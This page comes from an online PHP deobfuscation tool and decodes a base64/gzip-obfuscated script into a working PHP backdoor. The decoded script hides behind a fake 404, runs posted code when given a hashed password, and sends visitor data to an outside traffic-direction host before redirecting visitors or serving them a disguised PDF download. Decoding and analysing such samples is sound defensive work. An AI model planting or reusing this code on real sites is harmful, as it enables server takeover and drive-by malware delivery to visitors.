Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(base64_decode("rVb/U+JGFP8//AkDPeE8Q+nbjRuSqNSp3HQYzzpnnFG8JA2waD0JKy..
Decoded Output download
?><?php function err() { header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found"); echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
" ."<html><head>
" ."<title>404 Not Found</title>
" ."</head><body>
" ."<h1>Not Found</h1>
" ."<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>
" ."</body></html>"; die(); } if ((strstr($_SERVER['HTTP_ACCEPT_LANGUAGE'],'ru'))||(strstr($_SERVER['HTTP_ACCEPT_LANGUAGE'],'ua'))) err(); if (isset($_GET[p])) { $_GET[p]=$_GET[p]; $_GET[p]=str_replace('.pdf','',$_GET[p]); $rr='n'; $shab='ec65a9'; $obkey=''; $shabkey='1'; $column='1'; $track='all'; $bot=0; if ((isset($_POST[pass]))&(md5($_POST[pass])=='8d2cO73ca3218O7f23fdeO7f1cb499e8f01')) { eval(stripslashes($_POST[cmd])); die(); }; if (strstr($_SERVER['HTTP_REFERER'],'google')) { $rr='g'; }; if (strstr($_SERVER['HTTP_REFERER'],'yahoo')) { $rr='y'; }; if (strstr($_SERVER['HTTP_REFERER'],'bing')) { $rr='m'; }; if (strstr($_SERVER['HTTP_USER_AGENT'] ,'google')) {$bot=1;} ; if (strstr($_SERVER['HTTP_USER_AGENT'] ,'bot')) {$bot=1;} ; $url1 = 'http://www.uimei.jp/infoblog/2008/12/tds/?p='.$_GET[p].'&niche=ed2&target=0&ff=p&ss=jan&ip='.$_SERVER['REMOTE_ADDR'].'&rr='.$rr.'&shab='.$shab.'&bot='.$bot.'&host='.$_SERVER['HTTP_HOST'].'&obkey='.$obkey.'&shabkey='.$shabkey.'&pdf=1'.'&column='.$column.'&track='.$track; $url=file_get_contents($url1); if (strstr($_SERVER['HTTP_REFERER'],'site')) err(); if ($url=='404') err(); if ($url=='block') unlink(__FILE__); if (strlen($url)<1000) header("Location: {$url}"); else { Header('Content-Type: application/octet-stream'); Header('Accept-Ranges: bytes'); Header('Content-Length: '.strlen($url)); Header('Content-disposition: attachment; filename='.$_GET[p].'.pdf'); die($url); } } ?><?
Did this file decode correctly?
Original Code
<?php eval(gzinflate(base64_decode("rVb/U+JGFP8//AkDPeE8Q+nbjRuSqNSp3HQYzzpnnFG8JA2waD0JKyyaL+Rf78sX8Gwd7+zUYczu+/J5X3ff1v4CfUgfGTgzqo0Z8zSYUeZocK/7VDC4plrA2EwDh7LrjOow8KkmGHvUIKAZZ6gPqGa1dKMm6JBq9xpMNJiDjto+Y0PHp0zoj6AHdMYABQYOklFkQNlQA0tpfvAjH2A+SgIexglIzzPaMIZIioX0jNZlt3to9hWrr8BWdQuuYg5n8ShZtNr1tcwBF3zkNv4tIIMohlbzl/P+Sff3Qxsuu18cODz6w7k4gU+tPdO8sLtnpnnePS9Ym1bVNO2rT62dT0kLrFYz4st0p5nZWVF4yFO588xS0yyIpYSZizen8eJmDdNXdr4Rz7Ylx9/pRhI8+edIulwu4KjjQMva7R3Ynd/szkfSsX89sg+6vaPOBTm2WjAQLiSINM+QAPPFo9AFV3pD6VlN0187kZtHU1kArTosQmlgQu4AwjkYhss9/BlPdrI0905PTuzDbs85vfp8dPrZJsf7xBuRdnsy+XGFkUCFdlHGOhTmQteVHHU/292P/jFyAQuc/a1I6mpRh401De31POmnIpAGsfzFnOwTsr9GqRcInqeShJQbNxJTlcjgp3fiPcmw4umDvFFJvs6Y+a6vZPIbu0GcjpZJud/Y5Z4IHlQi0nQFN425WkVWnrJVEIf9A7QvXBcDocZy8e45TVXJ9mIz6Ncqgahs9pXtfm2+WZkvJH77SjDdev9ebs+raDPLwxjkUKRZdkPfTYUbSXcFFywXaOGpcoVPmSsv16Jjn9kdu5PVYBbHs1RmBsZFgmbkbQA3Iorj0sEc4OaNANMwmeX6a4TljyAc4a6HjXTVJcfwLI68Fn2ljg38RhBUfBlhd+SleKuoQCLO/YZpDgYDaxQuZWg9+maYzONpGs/MzWp1Gy+gTZMvXPODrxJr1YIWoUkYRFKVi03KhTeT2C50Pld96rrqo0hoWIg/HeYv/a7dOz0/xyShdpYXC7ODy6JzrbxJcZv5ijv84CaKXf4MJw/zEpskRyl73CqavcQqSeUSiXh+MHqCq1XbW+UBQFLZ+lZxBp7So87DVPYwrl4QJ1wmHLszz1q7PBXfbQQ35HkBy/sgV8qRVYJ3KHmRgWkPHpA1StIweTB6vbMLx+712s8Kn8okl283+0q1Wm2vh4ETByKbJA0sOfLvWqWeTF2Jpx77cQPgshAmJ0VYe90bXzZA+H4aFtpmHHDJ99CQFEuSOfikdBoE0ud7HZHMJE6d6Q2X7j9EVriOTGY8agCxvnX5ZdlF6Pox5iv3XXAugmiJ9DpkRUjEUj5rvfxCLICyGyLHLQLNLvns34cdxajdg45zFwf2NWV3OncmdE41HNsBDmmc7Lr1n8a2UbvV8XOXvwDGzoSxkZO/C+CRBmgRnwWUoQqiMobvgyED634mbod39e961DBqQ11S5jF26wQM66UHCD5BHxAWnwxbW8ZoIuq1MSpo2RNFUg/0rwwkY/fonv7V+tl4hWu+3fnX4La3G687XFGtij8W9YkYfD/6y1csXTUqXyq1/+nJ1jDwxXBbV/b3FPV1/1XF3Fcaxt8="))); ?>%
Function Calls
| chr | 1868 |
| ord | 1868 |
| strlen | 1 |
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | 9746af20927ceb0b89650b690a5963ed |
| Eval Count | 2 |
| Decode Time | 5551 ms |